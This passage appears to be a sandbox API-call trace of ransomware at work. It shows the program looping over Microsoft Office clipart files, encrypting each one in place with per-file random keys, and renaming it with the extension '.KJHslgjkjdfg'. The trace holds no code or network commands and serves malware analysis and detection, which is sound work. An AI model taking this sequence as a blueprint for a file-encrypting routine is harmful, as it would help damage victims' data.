SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.673] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.675] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.675] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.675] GetProcessHeap () returned 0x2a0000 [0159.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.675] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.675] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.675] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.675] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.675] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.675] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.675] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.676] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.676] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.676] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf7c, lpOverlapped=0x0) returned 1 [0159.676] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf80, dwBufLen=0xf80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf80) returned 1 [0159.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.676] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf80, lpOverlapped=0x0) returned 1 [0159.676] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.676] SetEndOfFile (hFile=0x114) returned 1 [0159.682] GetProcessHeap () returned 0x2a0000 [0159.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.682] GetProcessHeap () returned 0x2a0000 [0159.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.kjhslgjkjdfg")) returned 1 [0159.683] CloseHandle (hObject=0x114) returned 1 [0159.683] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0159.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.683] GetProcessHeap () returned 0x2a0000 [0159.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.683] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.684] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.685] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.685] GetProcessHeap () returned 0x2a0000 [0159.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.685] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.685] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.685] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.686] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.686] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.686] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.686] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.686] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.686] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.686] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x488, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x488, lpOverlapped=0x0) returned 1 [0159.686] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x490, dwBufLen=0x490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x490) returned 1 [0159.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.686] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x490, lpOverlapped=0x0) returned 1 [0159.686] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.686] SetEndOfFile (hFile=0x114) returned 1 [0159.688] GetProcessHeap () returned 0x2a0000 [0159.688] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.688] GetProcessHeap () returned 0x2a0000 [0159.688] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.kjhslgjkjdfg")) returned 1 [0159.689] CloseHandle (hObject=0x114) returned 1 [0159.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0159.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.690] GetProcessHeap () returned 0x2a0000 [0159.690] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.690] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.690] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.692] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.692] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.692] GetProcessHeap () returned 0x2a0000 [0159.692] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.692] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.692] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.692] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.692] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.692] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.692] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.692] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.692] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.692] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.692] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x91c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x91c, lpOverlapped=0x0) returned 1 [0159.692] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x920, dwBufLen=0x920 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x920) returned 1 [0159.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.693] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x920, lpOverlapped=0x0) returned 1 [0159.693] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.693] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.693] SetEndOfFile (hFile=0x114) returned 1 [0159.695] GetProcessHeap () returned 0x2a0000 [0159.695] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.695] GetProcessHeap () returned 0x2a0000 [0159.695] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.kjhslgjkjdfg")) returned 1 [0159.696] CloseHandle (hObject=0x114) returned 1 [0159.696] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0159.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.697] GetProcessHeap () returned 0x2a0000 [0159.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.697] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.697] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.699] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.699] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.699] GetProcessHeap () returned 0x2a0000 [0159.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.699] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.699] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.699] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.699] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.699] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.699] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.699] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.699] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.699] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.699] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x284c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x284c, lpOverlapped=0x0) returned 1 [0159.700] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2850, dwBufLen=0x2850 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2850) returned 1 [0159.700] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.700] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2850, lpOverlapped=0x0) returned 1 [0159.701] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.701] SetEndOfFile (hFile=0x114) returned 1 [0159.703] GetProcessHeap () returned 0x2a0000 [0159.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.703] GetProcessHeap () returned 0x2a0000 [0159.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.kjhslgjkjdfg")) returned 1 [0159.704] CloseHandle (hObject=0x114) returned 1 [0159.704] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0159.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.705] GetProcessHeap () returned 0x2a0000 [0159.705] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.705] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.705] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.707] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.707] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.707] GetProcessHeap () returned 0x2a0000 [0159.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.707] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.707] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.707] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.707] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, 